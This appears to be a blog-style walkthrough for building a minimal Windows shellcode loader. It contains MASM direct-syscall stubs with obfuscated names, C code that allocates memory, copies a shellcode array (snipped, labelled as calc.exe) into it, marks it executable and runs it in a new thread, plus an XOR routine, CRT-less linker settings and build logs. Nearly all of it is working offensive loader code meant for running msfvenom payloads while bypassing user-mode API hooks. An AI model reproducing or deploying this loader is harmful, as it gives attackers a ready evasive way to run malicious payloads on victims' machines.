███████████████████████████████████████████████████████ █─▄▄▄▄█▄─█─▄█─▄▄▄▄█─▄▄▄─██▀▄─██▄─▄███▄─▄███▄─▄▄─█▄─▄▄▀█ █▄▄▄▄─██▄─▄██▄▄▄▄─█─███▀██─▀─███─██▀██─██▀██─▄█▀██─██─█ ▀▄▄▄▄▄▀▀▄▄▄▀▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▀▀ ../ ## [0.0] Very very simple shellcode loader using MASM assembly 1. Create a new Cpp project and create 3 files, syscall.asm and syscall.c, syscall.h The project needs to be configured. Setup phnt header include directory for Solution->ProjectName. Project->Build Customisation-> masm(.targets, .props) = check box Y 2. Win32 & CRT-less time :) - project properties linker->input->Ignore All default libraries = yes. link library dependencies = no Additional Dependencies = add the private ntdllp ;ntdllp.lib or add #pragma comment(lib, "ntdllp.lib") if you have sdk & wdk - linker->Advanced->Entry Point = ThisIsNotAnEntryPoint (can be custom name) linker-> all options -> Show Progress -> Display all progress messages Linker-> Debugging -> Generate Debug Info = No - c++->Code Generation->Basic Runtime Check = default (to avoid linking in __RTC_*. - C/C++ -> all options -> security = Disable Security Check (/GS-) - project properties MASM -> public symbols (Yes (/Zf)) (Can enable this or just specify PUBLIC FuncNameHere at top of asm object file name -> $(SolutionDir)\Bin\%(FileName).obj - project properties MASM -> Advanced -> Calling conv = C-Style /Gd /Gd error reporting = do not send 3. create syscall.asm (Get your syscall numbers and target to system) ######################################################################################################################### PUBLIC AlloeVirtMem PUBLIC WriVirMem PUBLIC ProtVirtMem PUBLIC CreThreE PUBLIC WaiSinObj _DATA SEGMENT _DATA ENDS _TEXT SEGMENT AlloeVirtMem PROC mov r10, rcx mov eax, 18h syscall ret AlloeVirtMem ENDP WriVirMem PROC mov r10, rcx mov eax, 3Ah syscall ret WriVirMem ENDP ProtVirtMem PROC mov r10, rcx mov eax, 50h syscall ret ProtVirtMem ENDP CreThreE PROC mov r10, rcx mov eax, 0C1h syscall ret CreThreE ENDP WaiSinObj PROC mov r10, rcx mov eax, 4h syscall ret WaiSinObj ENDP _TEXT ENDS END ######################################################################################################################### syscall.c ######################################################################################################################### /* Micro Manual MASM based Self Thread Shellcode Injection Using Syscalls Author : p4yl0ad/p.load Date : 29/10/2021 */ #include "syscall.h" void ThisIsNotAnEntryPoint(void) { DbgPrint("Custom Entrypoint ThisIsNotAnEntryPoint calc.exe no encryption\n"); unsigned char pload[] = { 0xfc,0x48,0x83,[...SNIP...],0x00 }; size_t pload_size = sizeof(pload); HANDLE ph = NtCurrentProcess(); void * ba = NULL; NTSTATUS SysAllocateReturn = AlloeVirtMem(ph, &ba, 0, &pload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); DbgPrint("SysAllocateReturn\t%x\n", SysAllocateReturn); my_memmove(ba, (void*)pload, 276); DbgPrint("ba 0x%p", ba); ULONG nprt = PAGE_EXECUTE_READ; ULONG oprt = 0; NTSTATUS SysNtProtectReturn = ProtVirtMem(ph, &ba, &pload_size, nprt, &oprt); DbgPrint("SysNtProtectReturn\t%x\n", SysNtProtectReturn); HANDLE th = NULL; NTSTATUS SysNtCreateReturn = CreThreE(&th, GENERIC_EXECUTE, NULL, ph, ba, NULL, FALSE, 0, 0, 0, NULL); DbgPrint("SysNtCreateReturn\t%x\n", SysNtCreateReturn); WaiSinObj(th, FALSE, NULL); DbgPrint("END"); } ######################################################################################################################### syscall.h ######################################################################################################################### #pragma once #define WIN32_LEAN_AND_MEAN #pragma check_stack(off) #include "phnt/phnt_windows.h" #include "phnt/phnt.h" // this is taken straight from sektor7 RTO-MDE , nice lil xor routine void XOR(char* data, size_t data_len, char* key, size_t key_len) { int j; j = 0; // for the bytes in the data for (int i = 0; i < data_len; i++) { // Iterate over every character in the key // and "encrypt" XOR a byte with that "key" character if (j == key_len - 1) j = 0; // xor the data at the iteration index with the key index e.g. data[1] ^ data[1] until key len is reached and // will be repeated data[i] = data[i] ^ key[j]; j++; } } #define BUFFER_SIZE 4096 // taken straight from https://aticleworld.com/memmove-function-implementation-in-c/ void* my_memmove(void* dest, const void* src, unsigned int n) { char* pDest = (char*)dest; const char* pSrc = (const char*)src; ////allocate memory for tmp array //char* tmp = (char*)malloc(sizeof(char) * n); char* tmp[BUFFER_SIZE]; if (NULL == tmp) { return NULL; } else { unsigned int i = 0; // copy src to tmp array for (i = 0; i < n; ++i) { *(tmp + i) = *(pSrc + i); } //copy tmp to dest for (i = 0; i < n; ++i) { *(pDest + i) = *(tmp + i); } //free(tmp); //free allocated memory // not going to free lol } return dest; } ######################################################################################################################### Now due to verbosity of the build, we can see what happens during the build. I dont really understand why some compiler flags clash but thats the MSVC compiler for you. ######################################################################################################################### Rebuild started... 1>------ Rebuild All started: Project: Syscall, Configuration: Release x64 ------ 1>Assembling syscall.asm... 1>MASM : warning A4018: invalid command-line option : /Gd 1>cl : command line warning D9025: overriding '/sdl' with '/GS-' 1>syscall.c 1>Processed /NODEFAULTLIB (suppressing all default libs) 1>Starting pass 1 1>Searching libraries [...SNIP...] 1> Found __imp_DbgPrint 1> Referenced in syscall.obj 1> Loaded ntdllp.lib(ntdll.dll) 1> Found __IMPORT_DESCRIPTOR_ntdll 1> Referenced in ntdllp.lib(ntdll.dll) 1> Loaded ntdllp.lib(ntdll.dll) 1> Found __NULL_IMPORT_DESCRIPTOR 1> Referenced in ntdllp.lib(ntdll.dll) 1> Loaded ntdllp.lib(ntdll.dll) 1> Found ntdll_NULL_THUNK_DATA 1> Referenced in ntdllp.lib(ntdll.dll) 1> Loaded ntdllp.lib(ntdll.dll) 1>Finished searching libraries 1>Finished pass 1 1>Generating code 1>Previous IPDB not found, fall back to full compilation. 1>All 2 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 1>Finished generating code 1>Searching libraries [...SNIP...] 1> Found __chkstk 1> Referenced in syscall.obj 1> Loaded ntdllp.lib(ntdll.dll) 1>Finished searching libraries 1>Invoking rc.exe: 1> /v 1> /x 1> /fo 1> "C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp" 1> "C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp" 1>Microsoft (R) Windows (R) Resource Compiler Version 10 1> 1>Copyright (C) Microsoft Corporation. All rights reserved. 1> 1> 1>Using codepage 1252 as default 1>Creating C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}}.tmp 1> 1> 1>C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp. 1>Writing 24:1, lang:0x409, size 381 1>Invoking cvtres.exe: 1> /machine:amd64 1> /verbose 1> /out:"C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp" 1> /readonly 1> "C:\Users\ShortUsername\AppData\Local\Temp\lnk{GUID}.tmp" 1>Microsoft (R) Windows Resource To Object Converter Version 14 1>Copyright (C) Microsoft Corporation. All rights reserved. 1> 1>adding resource. type:MANIFEST, name:1, language:0x0409, flags:0x30, size:381 1>Unused libraries: [...SNIP...] 1>Processing /ORDER options 1> External code objects not listed in the /ORDER file: 1> __chkstk ; ntdllp.lib(ntdll.dll) 1> __imp_DbgPrint ; ntdllp.lib(ntdll.dll) 1> DbgPrint ; ntdllp.lib(ntdll.dll) 1> __imp___chkstk ; ntdllp.lib(ntdll.dll) 1> ??_C@_0DG@NADDNNLH@Custom?5Entrypoint?5ThisIsNotAnEn@ ; syscall.obj 1>Finished processing /ORDER options 1> Discarded DbgPrint from ntdllp.lib(ntdll.dll) 1>Starting pass 2 1> * CIL library *(* CIL module *) 1> * linker generated manifest res * 1> syscall.obj 1> ntdllp.lib(ntdll.dll) 1> ntdllp.lib(ntdll.dll) 1> ntdllp.lib(ntdll.dll) 1> ntdllp.lib(ntdll.dll) 1> ntdllp.lib(ntdll.dll) 1>Finished pass 2 1>Syscall.vcxproj -> D:\Collections\Projects\Syscall\Syscall\x64\Release\Syscall.exe 1>Done building project "Syscall.vcxproj". ========== Rebuild All: 1 succeeded, 0 failed, 0 skipped ========== ######################################################################################################################### Now you will have a tiny binary which doesnt depend on win32 or crt If you can show me a way to load msfvenom shellcode in a smaller binary fair play and @ me on twitter PUNICODE_STRING DRIVE:\Project\Projects\Syscall\Syscall>ls -lah DRIVE:\Project\Projects\Syscall\Syscall\x64\Release\Syscall.exe -rwxr-xr-x 1 p4yl0_q36yakq 197610 4.0K Month 99 99:99 'DRIVE:\Project\Syscall\x64\Release\Syscall.exe' Its not about the size but how you use it.